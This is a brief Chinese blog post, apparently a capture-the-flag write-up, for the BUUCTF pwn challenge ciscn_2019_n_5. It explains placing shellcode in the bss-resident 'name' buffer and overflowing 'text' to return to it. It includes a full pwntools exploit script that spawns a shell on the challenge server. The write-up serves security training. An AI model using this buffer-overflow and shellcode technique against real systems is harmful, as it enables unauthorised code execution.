BUUCTF-PWN-ciscn_2019_n_5

169次阅读
没有评论

共计 480 个字符,预计需要花费 2 分钟才能阅读完成。

提醒:本文最后更新于 2024-08-30 10:36,文中所关联的信息可能已发生改变,请知悉!

checksec

BUUCTF-PWN-ciscn_2019_n_5

IDA

BUUCTF-PWN-ciscn_2019_n_5

name变量存在于 bss 段,可以先将 shellcode 存入 name 中,然后通过 text 溢出到 name 的位置,并执行shellcode

EXP

from pwn import *

p = remote('node4.buuoj.cn', 28183)
# p =  process('./ciscn_2019_n_5')

context(arch='amd64', os='linux')
context.log_level = 'debug'

shellcode = asm(shellcraft.sh())

p.sendlineafter('tell me your name\n', shellcode)

payload = flat(b'a' * (0x20 + 0x8) + p64(0x601080))
p.sendlineafter('What do you want to say to me?\n', payload)

p.interactive()

结果

BUUCTF-PWN-ciscn_2019_n_5

正文完
 0
icvuln
版权声明:本站原创文章,由 icvuln 于2022-01-18发表,共计480字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)